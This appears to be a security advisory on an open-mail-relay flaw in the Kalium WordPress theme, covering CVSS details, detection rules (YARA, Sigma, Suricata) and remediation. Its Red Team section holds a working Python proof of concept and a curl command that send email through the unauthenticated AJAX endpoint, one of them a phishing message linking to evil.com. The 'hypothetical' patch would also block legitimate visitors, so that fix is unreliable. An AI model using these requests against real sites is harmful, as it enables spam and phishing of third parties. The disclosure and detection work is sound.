CVE-2025-12895

Executive Summary

CVE-2025-12895 is a missing authorization vulnerability in the Kalium 3 Creative WordPress & WooCommerce Theme, affecting all versions up to and including 3.29. The flaw resides in the kalium_vc_contact_form_request() function, which lacks a capability check, allowing unauthenticated attackers to abuse the theme as an open mail relay. This enables sending arbitrary emails from the server, facilitating phishing, spam campaigns, and reputational damage. The vulnerability has a CVSS score of 5.3 (Medium) and is publicly known with no official patch available as of this report.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via ThemeForest and other marketplaces. Users must manually update the theme or apply a workaround. No package manager (e.g., Composer) is involved, but the theme may be bundled with plugins that extend the attack surface.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low integrity impact reflects the ability to send unauthorized emails, which can be used for phishing but does not directly compromise data or system availability.

Deep Dive & Mechanics

The vulnerability exists in the kalium_vc_contact_form_request() function, which handles AJAX requests for the theme's contact form. The function is registered via wp_ajax_nopriv_* and wp_ajax_* hooks, making it accessible to both authenticated and unauthenticated users. However, it fails to verify user capabilities (e.g., edit_posts or manage_options) before processing the request. An attacker can craft a POST request with parameters like email, subject, and message to send emails to arbitrary recipients using the WordPress wp_mail() function.

The theme acts as an open mail relay because the function does not validate the sender's identity or restrict the recipient list. This allows attackers to spoof the server's domain and send bulk emails, potentially bypassing SPF/DKIM checks if the server is configured to send mail.

Vulnerable vs. Patched Code

Vulnerable Code (Kalium <= 3.29):

function kalium_vc_contact_form_request() {
    $email = $_POST['email'];
    $subject = $_POST['subject'];
    $message = $_POST['message'];
    wp_mail($email, $subject, $message);
    wp_die();
}
add_action('wp_ajax_nopriv_kalium_vc_contact_form', 'kalium_vc_contact_form_request');
add_action('wp_ajax_kalium_vc_contact_form', 'kalium_vc_contact_form_request');

Patched Code (Hypothetical):

function kalium_vc_contact_form_request() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $email = sanitize_email($_POST['email']);
    $subject = sanitize_text_field($_POST['subject']);
    $message = wp_kses_post($_POST['message']);
    wp_mail($email, $subject, $message);
    wp_die();
}
add_action('wp_ajax_kalium_vc_contact_form', 'kalium_vc_contact_form_request');

The patched version adds a capability check (current_user_can('edit_posts')) and input sanitization. Note: The official patch is not yet released; this is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running WordPress with Kalium theme <= 3.29.
• No authentication required.

Exploit Steps:

1. Identify the AJAX endpoint: /wp-admin/admin-ajax.php.
2. Send a POST request with the action parameter kalium_vc_contact_form.

Proof-of-Concept (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "kalium_vc_contact_form",
    "email": "victim@example.com",
    "subject": "Important Update",
    "message": "Click here to reset your password: http://evil.com"
}

response = requests.post(target_url, data=payload)
print(f"Status: {response.status_code}")
if response.status_code == 200:
    print("Email sent successfully!")

cURL Command:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=kalium_vc_contact_form&email=victim@example.com&subject=Test&message=Hello"

Blue Team

Detection Steps:

1. Monitor for unusual spikes in outbound SMTP traffic from the web server.
2. Check WordPress logs for AJAX requests to admin-ajax.php with action=kalium_vc_contact_form from unauthenticated IPs.
3. Review email logs for messages sent from the server to external addresses not associated with legitimate contact forms.

Honeypot Setup:

• Deploy a fake contact form endpoint to capture attacker payloads.
• Use WAF rules to block POST requests to admin-ajax.php with action=kalium_vc_contact_form unless from authenticated users.

Indicators of Compromise (IOCs)

• Network:
  • Outbound SMTP connections from the web server to arbitrary external mail servers.
  • POST requests to /wp-admin/admin-ajax.php with action=kalium_vc_contact_form and parameters email, subject, message.
• File System:
  • Modified wp-content/themes/kalium/ files (specifically functions.php or theme-specific AJAX handlers).
• Logs:
  • WordPress debug log entries showing wp_mail() calls without authentication.
  • Mail server logs showing messages with From: headers spoofing the server's domain.

Detection Engineering

YARA Rule

rule CVE_2025_12895_Kalium_Open_Mail_Relay {
    meta:
        description = "Detects vulnerable Kalium theme code allowing open mail relay"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12895"
    strings:
        $func = "kalium_vc_contact_form_request"
        $ajax = "wp_ajax_nopriv_kalium_vc_contact_form"
        $mail = "wp_mail"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12895 - Kalium Theme Open Mail Relay
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated AJAX requests to Kalium contact form endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin-ajax.php'
        cs-uri-query|contains: 'action=kalium_vc_contact_form'
    condition: selection
falsepositives:
    - Legitimate contact form submissions from authenticated users (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-12895 - Kalium Theme Open Mail Relay Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=kalium_vc_contact_form";
    http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable function: Add the following code to a child theme's functions.php to block unauthenticated access:

   remove_action('wp_ajax_nopriv_kalium_vc_contact_form', 'kalium_vc_contact_form_request');
   

2. Update the theme: Check for a patched version from the vendor (Kalium). If unavailable, consider switching to an alternative theme.
3. Web Application Firewall (WAF): Block POST requests to admin-ajax.php with action=kalium_vc_contact_form from unauthenticated users.

Long-term Fixes:

• Implement proper capability checks in all AJAX handlers.
• Use nonces for CSRF protection.
• Restrict outbound SMTP to authorized senders only.

Workaround:

• Disable the contact form functionality entirely by removing the theme's contact form shortcode or widget.

Valters IT